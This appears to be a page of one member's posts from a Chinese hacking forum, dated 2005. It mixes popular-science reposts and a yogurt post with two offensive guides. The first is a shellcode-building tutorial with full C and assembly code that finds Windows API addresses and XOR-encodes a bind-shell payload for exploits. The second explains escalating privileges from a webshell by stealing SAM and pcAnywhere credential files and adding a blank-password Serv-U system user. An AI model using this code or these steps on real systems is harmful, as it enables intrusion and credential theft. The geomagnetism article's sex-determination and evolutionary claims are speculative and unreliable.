首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
   查看所有帖子 (乐乐)


(1) 2 3 4 5 »


研究发现:爱情不是由“性”而来 却比性更强烈
新进会员
注册日期:
1970/1/1 8:00
所属群组:
注册会员
帖子: 1
等级: 1; EXP: 0
HP : 0 / 0
MP : 0 / 0
离线
(中国)辽宁日报 (2005-06-09)

  据北京科技报报道,性与爱似乎总是难解难分,但新研究表明,大脑能清楚地区分两者。爱情不像一般人所认为的那样,是由性冲动而萌发的,爱情与性由不同的大脑系统控制。爱情往往比性冲动来得更加强烈,为爱痴狂的行为来源于生理刺激,就和吃饭、睡觉一样平常。

  爱情不是由性冲动而萌发,是一种正常的生理反应,像吃饭、睡觉一样平常

  由罗杰斯大学人类学家海伦・费希尔博士和艾伯特・爱因斯坦医学院的博士露西・布朗领导一个科研小组,首次通过对脑部进行核磁共振发现,爱情不是由性冲动而萌发的,爱情是一种生理刺激。题为《与早期强烈的罗曼蒂克爱情有关的夸奖、动机和情感系统》的此项研究成果将刊登在7月出版的美国《神经心理学杂志》上。

  费希尔博士让17个正处于热恋中的年轻人盯着他们恋人的照片看,然后再让他们看其他熟人的照片。费希尔博士记录下他们每个人脑部的活动情况,逐一进行比较。同时,脑部成像仪器还记录下受测者头部血压高低变化,这可以反映出神经系统的活动情况。

  科学家发现,当人们看到爱人的照片时,大脑产生爱情的区域与激发性冲动的区域分布在大脑两侧,只是部分重叠。这说明性与爱由不同的大脑系统控制。

  科学家推测爱情完全是生理学刺激而不是性冲动。因为根据受测人头部的扫描图片来看,他们的神经系统轮廓更像是生理刺激,就跟口渴、饥饿时的反应一样。科学家认为,使恋人陶醉的神经系统并不是特殊的组织,这个系统也掌管一些人类正常的生理活动。

  爱情的发生:可能和人们获得夸奖的动机相关

  露西・布朗博士表示,明显的证据表明,情绪确实产生于大脑中。我们人类感受到不可思议的情感,如爱情,但我们的发现不会减少这种神秘性。事实上,一些人还提高了这种感受。

  此研究还有助于解释,为何人的恋爱感觉能促使他们赢得爱情,找到他们的人生伴侣。因为大脑中产生爱情的区域能促使人在茫茫人海中牢牢盯住自己渴望接近的那一位。

  纽约石溪大学的亚瑟・艾罗说,我们研究中的许多参与者都出现了明显的情感反应,通过对脑部的核磁共振成像发现,当情感反应出现时,大脑的夸奖区和动机区开始活跃。这给我们的两大主要预测提供了支持:一是早期强烈的罗曼蒂克爱情与大脑皮层下的夸奖区富有多巴胺有关;二是参与罗曼蒂克爱情的大脑系统与人们获得夸奖的动机有关。

  还有一个重要发现是与罗曼蒂克爱情有关的活跃区域在大脑右边,而与面部迷人魅力有关的活跃区域在大脑左边。露西・布朗博士表示,我们没想到会有如此大的偏侧性,众所周知,讲话主要是左侧大脑的功能,偏侧性还出现在大脑的小部分区域中。而且,不同的罗曼蒂克爱情冲动也与面孔魅力一样具有偏侧性。这些结论让科学家更多地思考正常人大脑的学习、记忆和一般功能如何。

  爱情随时间而变平淡,持续长短和大脑某个部位的活跃程度相关

  另一大突破是科学家在研究中发现了几个大脑区域,其神经活跃性的改变与浪漫史的长短有关。人人都知道爱情随着时间的流逝会慢慢变淡,但当爱情关系成熟时,这些科学家开始跟踪大脑中发生了什么。

  费希尔博士指出,大脑的变化不仅会随着浪漫爱情的持续时间而变化,而且,在草原鼠中,这样的一些变化所在的区域还与配偶间的亲密关系有关。核磁共振成像图像显示,基础神经中枢的腹侧苍白球部位更活跃的人,则他们之间的罗曼蒂克关系越持久。因为这个区域是后叶加压素的受体,对野鼠类动物的配偶和依恋关系很重要。

  爱情是人类最强烈的体验之一,它肯定较性冲动更加强烈

  费希尔表示,人类进化成三个独特但很相关的大脑系统,分别控制人类的结婚生子、产生性冲动和产生罗曼蒂克爱情。罗曼蒂克爱情的感觉会改变人们之间的依恋感。此研究结果支持人们的一贯假设―――罗曼蒂克爱情是人类最强烈的体验之一,它肯定较性冲动更加强烈。

  费希尔解释,如果有人反对你的性建议,你不会伤害你自己或其他人,但如果恋爱中的男女被拒绝,有时可能会伤害自己或他人。事实上,研究表明,40%的爱情受挫的人变得消沉。科学家的研究还表明会出现一些潜在的生理围捕行为。

  费希尔指出,他们的研究仅仅对每一个受试者观察了几小时,但对这些数据的分析处理则花了几年时间。他们发现,人类的罗曼蒂克爱情与其它动物之间的求爱行为具有惊人的连贯性。其他科学家也报告,雌草原野鼠出现的求爱行为与他们发现大脑区域的多巴胺增加50%有关。这些数据表明,所有哺乳动物都会被特别伴侣所吸引。

2005/6/10 0:13
应用扩展 工具箱


家庭酸奶制作过程
新进会员
注册日期:
1970/1/1 8:00
所属群组:
注册会员
帖子: 1
等级: 1; EXP: 0
HP : 0 / 0
MP : 0 / 0
离线
家庭酸奶制作过程

附件:



gif  1.gif (203.63 KB)
26_427450e1d8a2c.gif 700X525 px

gif  2.gif (235.07 KB)
26_427450fadae1a.gif 700X525 px

gif  3.gif (226.77 KB)
26_42745114b1e24.gif 700X525 px

gif  4.gif (226.13 KB)
26_427451227d9f4.gif 700X525 px

gif  5.gif (193.26 KB)
26_4274512e69a41.gif 700X525 px

gif  6.gif (200.85 KB)
26_4274513966ca9.gif 700X525 px

gif  7.gif (197.63 KB)
26_42745144909ce.gif 700X525 px

gif  8.gif (201.26 KB)
26_4274515032eb9.gif 700X525 px

2005/5/1 11:42
应用扩展 工具箱


生男生女谁说了算 太阳是真正的关键?
新进会员
注册日期:
1970/1/1 8:00
所属群组:
注册会员
帖子: 1
等级: 1; EXP: 0
HP : 0 / 0
MP : 0 / 0
离线
生男生女谁说了算 太阳是真正的关键?

东方网 (2005-03-23)

  科学家们早已经知道太阳的活跃程度会对生物圈有所影响,但是它究竟是通过什么办法来调节生物过程,到现在也没人能说清楚。多年来,俄罗斯科学家一直在对太阳的无常变化到底会给人类造成什么影响进行研究,有时还会得出一些意想不到的结果。

  每个家庭都在为下一代的出世事先做好准备工作,父母在孩子未出生之前经常私底下猜测:即将出世的孩子到底是男是女。古希腊人认为,未来孩子的性别直接同气候有关:热天容易怀男孩,冷天容易怀女孩。不同的国家民间还有不同的算法和说法。

  俄罗斯联邦卫生部圣彼得堡X光放射学中央研究所的科研人员排除各种算法和说法,决定从医学、生物学和地球物理学的角度来研究这个问题。

  科学家们一开始是抱定目的研究小剂量辐射对人体所产生的生物效应。当代科学已经认定,磁场正是通过少量放射性辐射对人和动物的机体施加有害影响。

  最新的研究结果已经证明,中风和血压都同地磁场的强度增大有关。

  除此之外,通过对老鼠的试验可以明显看出,地磁摄动所产生的不可避免的放射化学物质会破坏动物的免疫力,并常常夺去性命。如果血液细胞的情况或多或少还能看出些问题,那人的生殖细胞在这些过程中又会怎样呢?为了回答这个问题,科学家对圣彼得堡市和列宁格勒州的600名居民进行了调查。为了取得无懈可击的结果,必须得考虑两个主要因素:所调查对象的出生日及其性别。地磁活动指数也相当重要,否则无法开展调查。

  有关自1914年来对地球磁场观察得出的结果由电磁学、电离层和无线电波传播研究所圣彼得堡分所提供。剩下来的只须将那些地磁观测指数同资料――握在科学家手里的那些人的情况拢到一起来就行了。

  问题是很难精确地判断出孩子受孕时间。这可能是为了探求真理而碰到的最最棘手问题。

  研究人员老老实实地将具体某个人的出生日往前减去280天,这应该是胎儿的发育天数。之后再根据工具书查出1914-1979年间不同人受孕日的地磁场情况。研究人员只注意到总的地磁强度,忽略了一般振荡状态和自身摄动之间的区别。

  结果相当出人意外。科学家们发现,受孕时刻地磁摄动情况和未来孩子性别的形成有着某种联系。

  调查结果表明,在地磁场强度下降的情况下男孩的出生率要高于女孩出生率。这就是说,在地磁活动减弱的日子里受孕,9个月后多生男孩,同女孩的比例是16:10。而当地磁场波动的曲线图达到最高极限时,女孩同男孩出生率的比例是15:10。

  可究竟地磁场是怎样影响生殖细胞的,目前科学家们还没有统一的定论。不过,圣彼得堡科学家们的计算方法可以视为在这个科学领域勇敢迈出的第一步。当他们取得这些回溯性的计算结果之后,现在已经在开始试图对这种性别形成和地磁活动状况的关系作出解释。

  尽管这些研究带有医学性质,但是绝对不能没有地球物理学知识。科学家只能以一个旁观者的身份来看待我们的地球。

  众所周知,地球的地磁场是个很复杂的结构,它充当着地球保护罩的作用。顺便说说,很多研究人员都认为,正是有了地磁场及其变体,地球上才有了生命。

  这个磁场屏蔽着整个地球表面,阻隔了以充电微粒形式大量存在于环太阳空间的有害辐射。

  由于地磁场和太阳等离子流的相互作用,地球周围形成一个被称之为磁场的空间,而在紧挨它的地方出现气体离子化过程,形成电离层。这两个外壳便是发生近地电磁过程的介质。人类就是生活在这个无边大海的底部,所以他们的进化发展与电磁空间的摄动不无关系。

  实际上,一个人性别的形成绝不只是X和Y染色体的偶然组合,而是机体为了作为生物体的一个人生存和顺利发展的复杂过程。

  地磁摄动起外界因素的作用,能对机体造成一种负面影响,使细胞受损处骤增。机体同样启动自己的防护机制。

  比如说,受孕过程一般偏向于出女性胚胎。之所以会出现这种平衡差度,是因为男性和女性在人类进化过程中被赋予的使命有所不同:女性求稳,男性则求变,经常想有所创新。

  这就意味着,每当外部条件不是那么好,像地磁场摄动水平上扬,生殖细胞便提供了生女的先决条件;反之,如果摄动水平下降,也就是说在较好的条件下,生男的几率就增加。

  这些先决条件出现的机理目前尚不清楚。不过科学家们推测,它跟血液细胞中的自由基质点数量有关。

  研究结果表明,健康人的这些质点数量同磁场状态有关,地磁摄动期数量减少。也许就是因为这种血液成分的改变决定了生男生女?生物学家们还发现了一个很有意思的事实。

  冬天不是一般的难熬,而简直是遭罪,比如温度骤然下降,雪代替了雨,大气压急剧变化,每个生物体都会启动它的保护机制。

  人类正是想方设法来生育赖以保持其数量的女性。现在就明白了,为什么近50年来女性多于男性的缘故。

  正是在这个时期,太阳活动明显加强,地球上空出现磁暴的次数也明显增多。

  那怎么办呢?是不是每个家庭在得到科学家关于地球地磁场情况预报之后可以自行安排要男要女?科学家对此并不赞成,因为这还仅仅属于理论上的推算,而要得出放之四海而皆准的真理,还必须得做大量严肃的试验工作。

  科学家说,按照常规,每年的1月份是地球周围磁场的平静时期,但是今年的1月份非常特殊,磁场活动频繁。现在已经有3次关于磁暴发生的记录。

  太阳磁暴是太阳因能量增加向空间释放出的大量带电粒子流形成的高速粒子流。由于太阳风暴中的气团主要是带电等离子体,并以每秒钟400公里到800公里的速度闯入太空,因此它会对地球的空间环境产生巨大的冲击。太阳磁暴发生时,包括电力系统、卫星和无线电通讯系统在内的诸多设施将受到严重影响,甚至破坏臭氧层。科学家们形象地把太阳磁暴比喻为太阳打“喷嚏”。太阳的活动对地球至关重要,因而太阳一打“喷嚏”,地球往往会发“高烧”。

2005/3/25 1:45
应用扩展 工具箱


shellcode看法点滴
新进会员
注册日期:
1970/1/1 8:00
所属群组:
注册会员
帖子: 1
等级: 1; EXP: 0
HP : 0 / 0
MP : 0 / 0
离线
shellcode看法点滴

--------------------------------------------------------------------------------


关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、watercloud等前辈的文
章,但大都过于专业和简练,对我这样的初学者学习起来还是有不小的难度。因此把自己的一点想法记录下来,以慰同菜。

我不是工具论者,但合适的工具无疑会提高工作效率,而如何选取合适的工具和编写
ShellCode的目的及ShellCode的运行环境是直接相关的。ShellCode一般是通过溢出等
方式获取执行权的,并且要在执行时调用目标系统的API进行一些工作,因此就要求
ShellCode采用一种较为通用的方法获取目标系统的API函数地址,其次由于其运行地址
难以确定,因此对数据的寻址要采用动态的方法。另外,ShellCode一般是作为数据发送给受攻击程序的,而受攻击程序一般会对数据进行过滤,这对ShellCode提出了编码的要求,现在ShellCode用的编码方法比较简单,基本是XOR大法或其变形。

编写ShellCode有目前流行的有两种方法:用C语言编写+提取;用汇编语言编写和提取。

就个人感觉而言,用汇编语言编写和提取是最方便的,因为ShellCode代码一般比较短,要完成的任务也相对单一,一般不涉及复杂的运算。因此可以用汇编语言编写。而且用汇编编写便于数据的控制、代码定位及生成的控制,在某些汇编编译器中,提供了直接生成二进制代码功能并提供了直接包含二进制文件的伪指令,这样就可以直接编写一个makefile文件将ShellCode代码和攻击程序分开,分别编写和调试,而无需print、拷贝、粘贴等操作,只需在攻击程序中加入一段编码代码就可以了。这样也便于交流。

但现在网络上流行的都是C编写的ShellCode,不过最终要生成的是ShellCode代码,这就涉及到提取C生成的汇编代码的问题。但在C中由于编译器会在函数的开始和结束生成一些附加代码,而这些代码未必是我们需要的,还有一个问题就是要提取代码的结束在C中没有直接的操作符获取。这些实际上也都不是很难,只要在函数的开始和结束加入特征字符串用C库函数memcmp搜索即可定位。对ShellCode的编码可写一段程序进行,比如XOR法的。最后写一段函数将编码后的ShellCode打印出来,复制、粘贴就可以用在攻击程序里面了。

用C编写的中心思想就是我们用C语言写代码,让编译器为我们生成二进制代码,然后在运行时
编码、打印,这样工作就完成了。

在网上找到了一个用C编写ShellCode的例子,于是亲自调试了一遍,发现了一些问题后修改并加入一些自己的代码,测试通过。

其中的一些问题有:

1.KERNEL基地址的定位和API函数地址的获取

原来的代码中采用的是暴力搜索地址空间的方法。这不算最佳方法,因为一是代码比较多,
二是要处理搜索无效页面引发的异常。现在还有两种方法可用:

一种是从PEB相关数据结构中获取,请参考绿盟月刊44期SCZ的《通过TEB/PEB枚举当前进程
空间中用户模块列表》一文。代码如下:

mov eax, fs:0x30
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了

这种方法比较通用,适用于2K/XP/2003。

另外一种方法就是搜索进程的SEH链表获取Kernel32.UnhandledExceptionFilter的地址,
再由该地址对齐追溯获得Kernel的基地址,这种方法也是比较通用的,适用于9X/2K/XP/2003。
在下面的代码中我就采用了这种方法。

2.几段代码的作用

在ShellCode提取代码中你或许会经常见到
temp = *shellcodefnadd;
if(temp == 0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
这样的代码,其用途何在?答案在于在用Visual Studio生成调试版本的时候,用函数指针
操作获得的地址并不是指向真正的函数入口点,而是指向跳转指令JMP:

jmp function

上面那段代码就是处理这种情况的,如果不是为了调试方便,完全可以删去。

还有在代码中会看到:
jmp decode_end

decode_start:
pop edx
.......
decode_end:

call decode_start
Shell_start:

之类的代码其作用是定位Shell_start处的代码,便于装配,由于在C中没有方便的手段定位
代码的长度和位置,因此采用此变通的做法。在这种方法不符合编码的要求时,可以采用动态计算
和写入的方法。不过复杂了一点罢了。

3.关于局部变量的地址顺序

在原程序中采用了如下局部变量结构:

FARPROC WriteFileadd;
FARPROC ReadFileadd;
FARPROC PeekNamedPipeadd;
FARPROC CloseHandleadd;
FARPROC createProcessadd;
FARPROC createPipeadd;
FARPROC procloadlib;

FARPROC apifnadd[1];

以为这样编译器生成的变量地址顺序就是这样的,在有些机器上也许如此,不过在我的
机器上则不然,比如下面的测试程序:

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <winioctl.h>

void shell();

void __cdecl main(int argc,char *argv[])
{
FARPROC arg1;
FARPROC arg2;
FARPROC arg3;
FARPROC arg4;
FARPROC arg5;
int par1;
int par2;
int par3;
int par4;
char ch;

printf(\\\"Size of FARPROC %dn\\\",sizeof(FARPROC));
printf(\\\"n%Xn%Xn%Xn%Xn%Xnn t%Xn%Xn%Xn%Xn t%Xn\\\",
&arg1,
&arg2,
&arg3,
&arg4,
&arg5,
&par1,
&par2,
&par3,
&par4,
&ch

);
}
在我机器上产生的输出是:

12FF7C
12FF78
12FF74
12FF70
12FF68

12FF6C
12FF64
12FF60
12FF5C
12FF58

这证实了局部变量的实际地址并不是完全按我们自己定义排列的。因此原来ShellCode中采用的
直接使用函数名的方法就可靠了。因此我采用了其它的方法,C提供的Enum关键字使得这项
工作变得容易,详见下面的代码。

4.more

关于变形ShellCode躲避IDS检测,以及编码方法等需进一步研究。

5.代码

可见,用C编写ShellCode需要对代码生成及C编译器行为有更多了解。有些地方处理起来也
不是很省力。不过一旦模板写成,以后写起来或写复杂ShellCode就省力多了。
增加API时只要在相应的.dll后增加函数名称项(如果str中还没有相应的dll,增加之)并
同步更新Enum的索引即可。调用API时直接使用:

API[_APINAME](param,....param);

即可。

如果没注释掉有#define DEBUG 1的话,下面代码编译后运行即可对ShellCode进行调试,
下面代码将弹出一个对话框,点击确定即可结束程序。that\\\'s ALL。
-------------------------------------------
/*
使用C语言编写通用shellcode的程序
出处:internet
修改:Hume/冷雨飘心
测试:Win2K SP4 Local

*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>

#define DEBUG 1

//
//函数原型
//
void DecryptSc();
void ShellCodes();
void PrintSc(char *lpBuff, int buffsize);

//
//用到的部分定义
//
#define BEGINSTRLEN 0x08 //开始字符串长度
#define ENDSTRLEN 0x08 //结束标记字符的长度
#define nop_CODE 0x90 //填充字符
#define nop_LEN 0x0 //ShellCode起始的填充长度
#define BUFFSIZE 0x20000 //输出缓冲区大小

#define sc_PORT 7788 //绑定端口号 0x1e6c
#define sc_BUFFSIZE 0x2000 //ShellCode缓冲区大小

#define Enc_key 0x7A //编码密钥

#define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够?
#define MAX_Sc_Len 0x2000 //hellCode的最大长度 8192足够?
#define MAX_api_strlen 0x400 //APIstr字符串的长度
#define API_endstr \\\"strend\\\"//API结尾标记字符串
#define API_endstrlen 0x06 //标记字符串长度

#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{ //Kernel32
_createPipe,
_createProcessA,
_CloseHandle,
_PeekNamedPipe,
_ReadFile,
_WriteFile,
_ExitProcess,

//WS2_32
_socket,
_bind,
_listen,
_accept,
_send,
_recv,
_ioctlsocket,
_closesocket,

//本机测试User32
_MessageBeep,
_MessageBoxA,
API_num
};

//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
//shellcode中要用到的字符串
static char ApiStr[]=\\\"x1ex6c\\\" //端口地址

//Kernel32的API函数名称
\\\"createPipe\\\"\\\"x0\\\"
\\\"createProcessA\\\"\\\"x0\\\"
\\\"CloseHandle\\\"\\\"x0\\\"
\\\"PeekNamedPipe\\\"\\\"x0\\\"
\\\"ReadFile\\\"\\\"x0\\\"
\\\"WriteFile\\\"\\\"x0\\\"
\\\"ExitProcess\\\"\\\"x0\\\"

//其它API中用到的API
\\\"wsock32.dll\\\"\\\"x0\\\"
\\\"socket\\\"\\\"x0\\\"
\\\"bind\\\"\\\"x0\\\"
\\\"listen\\\"\\\"x0\\\"
\\\"accept\\\"\\\"x0\\\"
\\\"send\\\"\\\"x0\\\"
\\\"recv\\\"\\\"x0\\\"
\\\"ioctlsocket\\\"\\\"x0\\\"
\\\"closesocket\\\"\\\"x0\\\"
//本机测试
\\\"user32.dll\\\"\\\"x0\\\"
\\\"MessageBeep\\\"\\\"x0\\\"
\\\"MessageBoxA\\\"\\\"x0\\\"

\\\"x0x0x0x0x0\\\"
\\\"strend\\\";

char *fnbgn_str=\\\"x90x90x90x90x90x90x90x90x90\\\"; //标记开始的字符串
char *fnend_str=\\\"x90x90x90x90x90x90x90x90x90\\\"; //标记结束的字符串

char buff[BUFFSIZE]; //缓冲区
char sc_buff[sc_BUFFSIZE]; //ShellCodes缓冲
char *pDcrypt_addr,
*pSc_addr;

int buff_len; //缓冲长度
int EncCode_len; //加密编码代码长度
int Sc_len; //原始ShellCode的长度

int i,k;
unsigned char ch;

//
//获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
//获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
//部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
//
pDcrypt_addr=(char *)DecryptSc;

//定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
//从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

ch=*pDcrypt_addr;
if (ch==0xe9)
{
pDcrypt_addr++;
i=*(int *)pDcrypt_addr;
pDcrypt_addr+=(i+4); //此时指向函数的实际地址
}
//找到解码代码的开始部分
for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;

if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8); //如找到定位实际代码的开始
else
{
//显示错误信息
k=0;
printf(\\\"nNo Begin str defined in Decrypt function!Please Check before go on...n\\\");
return 0;
}

for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;

if (k<MAX_Enc_Len) EncCode_len=k;
else
{
k=0;
printf(\\\"nNo End str defined in Decrypt function!Please Check....n\\\");
return 0;
}

memset(buff,nop_CODE,BUFFSIZE); //缓冲区填充
memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len); //把DecryptSc代码复制进buff

//
//处理ShellCode代码,如果需要定位到代码的开始
//
pSc_addr=(char *)ShellCodes; //shellcode的地址

//调试状态下的函数地址处理,便于调试
ch=*pSc_addr;
if (ch==0xe9)
{
pSc_addr++;
i=*(int *)pSc_addr;
pSc_addr+=(i+4); //此时指向函数的实际地址
}

//如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的
/*
for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;
if (k<MAX_Enc_Len) pSc_addr+=(k+8); //如找到定位实际代码的开始
*/

//找到shellcode的结尾及长度
for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;
if (k<MAX_Sc_Len) Sc_len=k;
else
{
k=0;
printf(\\\"nNo End str defined in ShellCodes function!Please Check....n\\\");
return 0;
}


//把shellcode代码复制进sc_buff
memcpy(sc_buff,pSc_addr,Sc_len);

//把字符串拷贝在shellcode的结尾
for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,\\\"strend\\\",API_endstrlen)==0) break;
if(i>=MAX_api_strlen)
{
printf(\\\"nNo End str defined in API strings!Please Check....n\\\");
return 0;
}
memcpy(sc_buff+k,ApiStr,i);

Sc_len+=i; //增加shellcode的长度

//
//对shellcode进行编码算法简单,可根据需要改变
//
k=EncCode_len+nop_LEN; //定位缓冲区应存放ShellCode地址的开始

for(i=0;i<Sc_len;++i){

ch=sc_buff^Enc_key;
//对一些可能造成shellcode失效的字符进行替换
if(ch<=0x1f||ch==\\\' \\\'||ch==\\\'.\\\'||ch==\\\'/\\\'||ch==\\\'\\\\\\\'||ch==\\\'0\\\'||ch==\\\'?\\\'||ch==\\\'%\\\'||ch==\\\'+\\\')
{
buff[k]=\\\'0\\\';
++k;
ch+=0x31;
}
//把编码过的shellcode放在DecryptSc代码后面
buff[k]=ch;
++k;
}

//shellcode的总长度
buff_len=k;

//打印出shellcode
PrintSc(buff,buff_len);
//buff[buff_len]=0;
//printf(\\\"%s\\\",buff);

#ifdef DEBUG
_asm{
lea eax,buff
jmp eax
ret
}
#endif

return 0;
}

//解码shellcode的代码
void DecryptSc()
{
__asm{

/////////////////////////
//定义开始标志
/////////////////////////
PROC_BEGIN //C macro to begin proc

jmp next
getEncCodeAddr:
pop edi
push edi
pop esi
xor ecx,ecx
Decrypt_lop:
lodsb
cmp al,cl
jz shell
cmp al,0x30 //判断是否为特殊字符
jz special_char_clean
store:
xor al,Enc_key
stosb
jmp Decrypt_lop
special_char_clean:
lodsb
sub al,0x31
jmp store
next:
call getEncCodeAddr
//其余真正加密的shellcode代码会连接在此处
shell:

/////////////////////////
//定义结束标志
/////////////////////////
PROC_END //C macro to end proc

}
}

//
//shellcode代码
//
void ShellCodes()
{
//API低址数组
FARPROC API[API_num];


//自己获取的API地址
FARPROC GetProcAddr;
FARPROC LoadLib;

HANDLE hKrnl32;
HANDLE libhandle;

char *ApiStr_addr,*p;

int k;
u_short shellcodeport;

//测试用变量
char *testAddr;

/*
STARTUPINFO siinfo;
SOCKET listenFD,clientFD;
struct sockaddr_in server;
int iAddrSize = sizeof(server);
int lBytesRead;
PROCESS_INFORMATION ProcessInformation;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
SECURITY_ATTRIBUTES sa;

*/


_asm {
jmp locate_addr0
getApiStr_addr:
pop ApiStr_addr

//开始获取API的地址以及GetProcAddress和LoadLibraryA的地址
//以后就可以方便地获取任何API的地址了

//保护寄存器
pushad

xor esi,esi
lods dword ptr fs:[esi]

Search_Krnl32_lop:
inc eax
je Krnl32_Base_Ok
dec eax
xchg esi,eax
LODSD
jmp Search_Krnl32_lop
Krnl32_Base_Ok:

LODSD
;compare if PE_hdr
xchg esi,eax
find_pe_header:
dec esi
xor si,si ;kernel32 is 64kb align
mov eax,[esi]
add ax,-\\\'ZM\\\' ;
jne find_pe_header
mov edi,[esi+3ch] ;.e_lfanew
mov eax,[esi+edi]
add eax,-\\\'EP\\\' ;anti heuristic change this if you are using MASM etc.
jne find_pe_header

push esi
;esi=VA Kernel32.BASE
;edi=RVA K32.pehdr
mov ebx,esi
mov edi,[ebx+edi+78h] ;peh.DataDirectory

push edi
push esi

mov eax,[ebx+edi+20h] ;peexc.AddressOfNames
mov edx,[ebx+edi+24h] ;peexc.AddressOfNameOrdinals
call __getProcAddr
_emit 0x47
_emit 0x65
_emit 0x74
_emit 0x50
_emit 0x72
_emit 0x6F
_emit 0x63
_emit 0x41
_emit 0x64
_emit 0x64
_emit 0x72
_emit 0x65
_emit 0x73
_emit 0x73
_emit 0x0
//db \\\"GetProcAddress\\\",0
__getProcAddr:
pop edi
mov ecx,15
sub eax,4
next_:
add eax,4
add edi,ecx
sub edi,15
mov esi,[ebx+eax]
add esi,ebx
mov ecx,15
repz cmpsb
jnz next_

pop esi
pop edi

sub eax,[ebx+edi+20h] ;peexc.AddressOfNames
shr eax,1
add edx,ebx
movzx eax,word ptr [edx+eax]
add esi,[ebx+edi+1ch] ;peexc.AddressOfFunctions
add ebx,[esi+eax*4] ;ebx=Kernel32.GetProcAddress.addr
;use GetProcAddress and hModule to get other func
pop esi ;esi=kernel32 Base

mov [hKrnl32],esi //保存
mov [GetProcAddr],ebx //保存

call _getLoadLib
_emit 0x4C
_emit 0x6F
_emit 0x61
_emit 0x64
_emit 0x4C
_emit 0x69
_emit 0x62
_emit 0x72
_emit 0x61
_emit 0x72
_emit 0x79
_emit 0x41
_emit 0x0
//db \\\"LoadLibraryA\\\",0

_getLoadLib:
push esi
call ebx
mov [LoadLib],eax

//恢复寄存器,避免更多问题
popad
}

//取出定义的端口地址
shellcodeport=*(u_short *)ApiStr_addr;
ApiStr_addr+=2;

////////////////////////////////测试用
testAddr=ApiStr_addr;
////////////////////////////////////

//利用GetProcAddress来获得shellcode中所用到的API地址

libhandle=hKrnl32;
p=ApiStr_addr;

k=0;
///*
while ( *((unsigned int *)p) != 0)
{
ApiStr_addr=p;
while(*p) p++; //前进到下一个字符串

if (*( (unsigned int *)(p-4))==\\\'lld.\\\')
{
libhandle=(HANDLE)LoadLib(ApiStr_addr); //若为DLL则加载DLL
}
else
{
API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
k++;
}

ApiStr_addr=++p; //更新指针前进一个字符位置

}

//*/

///////////////////////////////////////////////////////////////////////////
// 下面就可以使用C语言来编写真正实现功能的shellcode了 //
///////////////////////////////////////////////////////////////////////////
//
//简单测试几个API看是否复合要求
//
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
///////////////////////////////////////////////////////////////////////////
// shellcode功能部分结束 //
///////////////////////////////////////////////////////////////////////////

//死循环
die:
goto die;
__asm
{
locate_addr0:
call getApiStr_addr //5 bytes
//真正的字符串数据要连接在此处



/////////////////////////
//定义结束标志
/////////////////////////
PROC_END //C macro to end proc

}
}

//
//显示打印生成的shellcode的C string格式代码
//
void PrintSc(char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];
for(i=0;i<buffsize;i++)
{
if((i%16)==0)
if(i!=0)
printf(\\\"\\\"n\\\"\\\");
else
printf(\\\"\\\"\\\");
sprintf(msg,\\\"\\\\x%.2X\\\",lpBuff&0xff);
for( p = msg, j=0; j < 4; p++, j++ )
{
if(isupper(*p))
printf(\\\"%c\\\", _tolower(*p));
else
printf(\\\"%c\\\", p[0]);
}
}
printf(\\\"\\\";n/*Shell total are %d bytes */n\\\",buffsize);

}

2005/3/25 1:07
应用扩展 工具箱


提升权限终极技巧
新进会员
注册日期:
1970/1/1 8:00
所属群组:
注册会员
帖子: 1
等级: 1; EXP: 0
HP : 0 / 0
MP : 0 / 0
离线
提升权限终极技巧
作者:WekweN http://www.wrsky.com

本篇文章结合了许多高手提升权限的技巧和自己的一些想法

当我们取得一个webshell时候,下一部要做的就是提升权限

个人总结如下:
1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\
看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆
ps: 破解工具本站已提供。请自己Search一下!

2.C:\WINNT\system32\config\
进这里下它的SAM,破解用户的密码
用到破解sam密码的软件有LC,SAMinside

3.C:\Documents and Settings\All Users\「开始」菜单\程序\
看这里能跳转不,我们从这里可以获取好多有用的信息
可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转
进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空
[USER=WekweN|1]
Password=
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
Access1=d:\|RWAMELCDP
